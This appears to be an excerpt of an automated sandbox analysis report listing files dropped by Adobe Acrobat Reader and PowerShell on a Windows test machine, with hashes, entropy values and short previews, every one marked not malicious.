Preview:	{"analyticsData":{"responseGUID":"0b193b1a-41f3-4d38-9242-9406ac3f146d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736696231173,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.662305087135869
Encrypted:	false
SSDEEP:	24:Yv6X2zvhamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSW:YvBVBgkDMUJUAh8cvMW
MD5:	66B7317590866CB6EDCDC01A0E0B6429
SHA1:	C565709E22CD20961ECC6BC05A7AAD42FECD73A4
SHA-256:	6946560746F27192D9BA143E2D0FB7CC6E8A514C506C9F96740DA337FB8AF1A3
SHA-512:	EDB7248194D2D1C66FDBC6C373783AC68156F845E483CE6286DAFADF525663BE297852D77D68F0AA24CA39E711F56C993CD9A64FE7FC37643E917BC2D07D709C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b193b1a-41f3-4d38-9242-9406ac3f146d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736696231173,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.284755543196934
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHdT/9VoZcg1vRcR0Y3UoAvJfshHHrPeUkwRe9:YvXKXVEZc0vkGUUUkee9
MD5:	2470ADACBAB6E6ED5D72D6F4CC0539E2
SHA1:	4584C054645755171F74847188E360265ECDA813
SHA-256:	C166B99DA9F4365714B65824D0DCC01C0D2514E585F4E97C294242A5FB6E0DA3
SHA-512:	951553A0C7FABF71073C57B777ABE7E17193A8366344CF7C4DF0937A9C1CEEFE123A083F689C82FD24017410BC7BC887AC5ACE0C7A7A39E4A19DA3D1A94583D7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b193b1a-41f3-4d38-9242-9406ac3f146d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736696231173,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.293229317177547
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHdT/9VoZcg1vRcR0Y3UoAvJTqgFCrPeUkwRe9:YvXKXVEZc0vkGTq16Ukee9
MD5:	3303E37A9FE77220110B70ABCCCCE612
SHA1:	EC8FFA645698E17D649C0DF4424AA053D5FE2852
SHA-256:	BEDC763C0EAE2C7D4DFDBFC17073E6C703B4CA82502CA94FDB2D03FC42D90917
SHA-512:	0B00981DFD515488C2670A16F2EC6C62CAA8C21CC5F560CED9512510E1107D69A551678D5D959ABEEFD3AE8903954C6762495C5C87A830C55197CEC4A6D4CF3C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b193b1a-41f3-4d38-9242-9406ac3f146d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736696231173,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.133873718475087
Encrypted:	false
SSDEEP:	24:YIF1ma1IaysASIX6uYstv5GMajFcnyj0S+Ve26Byyf2LSQCO6MhU5bgfW1t5vDhc:Yu2X6lYByOElVeZ6Mh2uWLhh9w3Fz
MD5:	77849609D2DCAFA3EC5298F05B3F797A
SHA1:	0AC25B798BD0804EE69C884262750EA75504C31E
SHA-256:	C42719D3FC7BAFF5E41D867BFC2820A53AF21FD95FE2BA4C92DCEB4CF5B0483A
SHA-512:	DD35ABE4432A9999A130A23914C2092B400E1C2CED7C8E109A67B29AA67E1EC83BDBF69823195984FCA8138E6075C73E64545D5BCDFDFE701231A8BD66FD79CC
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"41a34cb5eb64e5dd363ecbb0cec6945e","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736517490000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"c01e9a326aa9c9a2b4afe3661d011da8","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736517490000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"ee3808f8df632279f7fcaa74519e5488","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736517490000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"38fcb9e48cb3d0fd50f67906dfcd1aff","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736517490000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"499205318c143e2a69827c98dbb3a105","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736517490000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"025c274c030c21d7d6e91d3aeeaa5fc1","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1885308351491397
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUU8SvR9H9vxFGiDIAEkGVvpe:lNVmswUUUUUUUU8+FGSItC
MD5:	E106DE41ABE43BE1E12D09727C6AFEE4
SHA1:	E4CB0491787325E14C2926E0FB1081F806E3AF7D
SHA-256:	F3FA9A25C8874E7E57956C5F2AE3D682DC4003974F149061715957D338391ACF
SHA-512:	892B9D5218925DAB8D4CBED6318ED596EB9A68B6DF982D07265D5AF9287D809FF44947AFD87D80B2E979DD6AD9F71EB2C8F80B06646EF2F3B84E49695693E7A9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6072816629000306
Encrypted:	false
SSDEEP:	48:7MVKUUUUUUUUUUuvR9H9vxFGiDIAEkGVvFqFl2GL7msN:7TUUUUUUUUUUSFGSItPKVmsN
MD5:	010B927FA0AC9DBCBFEB2BE94D2836DB
SHA1:	7D29033D1514328DDFA6AEE9E9F17D299019CDD5
SHA-256:	760024AA168BDC7C8D6795FDE753C36F3A305383522A6C81FDF63EC70E63D01E
SHA-512:	7D8E1996759F20D1EB7218B7046CA98D25198263352DF7216BDD142809F3A18A03C4EC5FDF688B7127400892CAE6C33D1B94937A50AA446CE538F61CDBC896A3
Malicious:	false
Preview:	.... .c.....L.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgFIOX8XojNyIoplM8hqoct9xzHDUVCFYyu:6a6TZ44ADEFTX8XohyBplM8heltK
MD5:	34EAFDCD53EDFC16C45D80B5F9A9FD67
SHA1:	D2AD7A92DB0D6FF3B228088ED323B2A2533BE10C
SHA-256:	19AB4A43B7742EAF3E4E9D3226A413C5196B6F647CF8B0620716BCB4DE42167F
SHA-512:	6CEF122EC3F4D22B1FDC68CFE7646A80D3C22C9ECFF5DFFF396B1BC00EB3ACBBE90244344B59B3F628B58F1B8236ECAECDB899587BD292770A54800642B6C461
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSI9c946.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5030768995714583
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClqlyXH:Qw946cPbiOxDlbYnuRK+bUH
MD5:	1D3E6E6829EDC0CD9E58DCD14D206030
SHA1:	DEB30BEAF509D892EB2ADA8188A281B7FF6F5AB7
SHA-256:	2014B857BFB90EBB124A03360342552F7EC6799F41418423414E2F0D0259F847
SHA-512:	C8795423EC6379153CF3553AEB8F8982D4394DB8FB9C57893D09DA711FBA112D2E5AFE019292DBECF3A3BF927EFA03E57C4BEBF320F1E67D7AFB17E6D6B37186
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .0.8.:.5.8.:.1.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_llmjgu4g.o41.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xftqrhrj.olt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 08-58-07-226.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.343385934402427
Encrypted:	false
SSDEEP:	384:SyoIyM0yMnyMEyMEyMDyMsxyMnyMT4yM8yMeyMbyMeyM5yM3yz8yUByUXyUByoXw:xCgj4GxN4JuLAYzORXrLPxh7M3Ww44+T
MD5:	DB88C36433DF16D3D84E336FA7BF6676
SHA1:	B219332B5DC42B49052A4C0FC88EF23991D8DAB0
SHA-256:	0644A7FC59443DAD7003FB05CAF28810F7949ABCA0AC152347F9ED10E79087C2
SHA-512:	954649E63B64D742E07FA799BDB795C92D6E58D112FE0E983988AF0E070F13A38F7389EC9F2FFBE20BA4DCC45D1056C11B10CD031367B8FA78ACB18EC863E2CC
Malicious:	false
Preview:	SessionID=ce2cfee8-993c-4d0a-8090-6be8b190bfa5.1736517487257 Timestamp=2025-01-10T08:58:07:257-0500 ThreadID=7716 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=ce2cfee8-993c-4d0a-8090-6be8b190bfa5.1736517487257 Timestamp=2025-01-10T08:58:07:271-0500 ThreadID=7716 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=ce2cfee8-993c-4d0a-8090-6be8b190bfa5.1736517487257 Timestamp=2025-01-10T08:58:07:271-0500 ThreadID=7716 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=ce2cfee8-993c-4d0a-8090-6be8b190bfa5.1736517487257 Timestamp=2025-01-10T08:58:07:271-0500 ThreadID=7716 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=ce2cfee8-993c-4d0a-8090-6be8b190bfa5.1736517487257 Timestamp=2025-01-10T08:58:07:271-0500 ThreadID=7716 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.387753094298927
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rC:FM
MD5:	D81356792096DA40B05EE0647608AAA4
SHA1:	75BEF3B06DA3A2F9286349C3F7D5272A77FD0F12
SHA-256:	B7D115FF408ABD4D1904A20B9F22857CF8BFF508150762FF47CE1D9029D94F06
SHA-512:	A5E48DC2FA7CBF67722FF12FFD1323DFBBB8B0E3A8CB1A4C18BF6BC845DAA9C3571F6E3F2BF395BDEAFCD795DAE05C02EB9CE8BB840FF61532976E33B4C452DF
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\08de30f0-bb97-4188-bacf-10c94d71bfc2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\8a77f518-ad34-4896-a28f-ca17c8c50774.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\954a373f-dca0-4802-a941-0832e84e0713.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/OZwYIGNPoeWL07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:2ZwZG7WLxXGZN3mlind9i4ufFXpAXkru
MD5:	A266F4218493C258E667B87062ED67B9
SHA1:	2C5F9CA4E3E0877BACE1296BB729522DEDA7F435
SHA-256:	3E47F7C2D39F48A687D3A52265631736E7AF10A26398320C859923607FA9713A
SHA-512:	E83024161DEEB3C7D150BDA82F3D70170D4E523DB7322180F0C7981B1E249330F911ED3AB9A306B098F1108FE8715A355E0818B8EE42D88AE597B0E4E0340337
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\dd943f4c-cb5b-4b43-999c-68ac20e88c82.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
